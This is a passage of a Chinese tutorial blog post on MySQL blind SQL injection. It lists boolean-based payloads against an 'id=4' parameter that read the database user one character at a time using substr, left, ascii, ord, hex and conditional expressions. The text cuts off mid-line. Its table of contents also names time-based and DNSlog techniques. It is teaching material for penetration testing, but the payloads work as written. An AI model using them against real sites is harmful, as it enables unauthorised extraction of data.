MySQL盲注

原创

于 2021-01-08 23:01:42 发布 · 802 阅读

1 ·

CC 4.0 BY-SA版权

文章标签：

#网络安全 #渗透测试 #web安全 #mysql注入 #mysql盲注

本文深入探讨了MySQL盲注的各种方法，包括布尔盲注、时间盲注，如使用sleep函数、benchmark函数、笛卡尔积函数和get_lock函数实现延时盲注，以及正则DOS RLIKE注入和DNSlog盲注。这些技术在网络安全和渗透测试中扮演重要角色，用于发现和利用web安全漏洞。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

这里写目录标题

布尔盲注
时间盲注
dnslog盲注
后续待补充

布尔盲注

盲注一般先看长度
id=4 and length(user())=14

布尔盲注的方法
substr，substring，mid，left，right截取单个字符
id=4 and substr((select user()),1,1)=0x72
id=4 and left((select user()),1)=0x72

用ascii()，ord()，hex()编码单个字符
id=4 and ascii(substring((select user()) from 1 for 1))=114
id=4 and ord(mid((select user()),1,1))=114
id=4 and hex(right((select user()),1))=74

用if，ifnull，case when自由输出字符
id=4 and if(1=1,1,0)
id=4 and ifnull(1=1,0)
id=4 and (case when 1=1 then 1 else 0 end)

如果查询是空内容，同时传入两个值使其报错来构成布尔盲注
select null an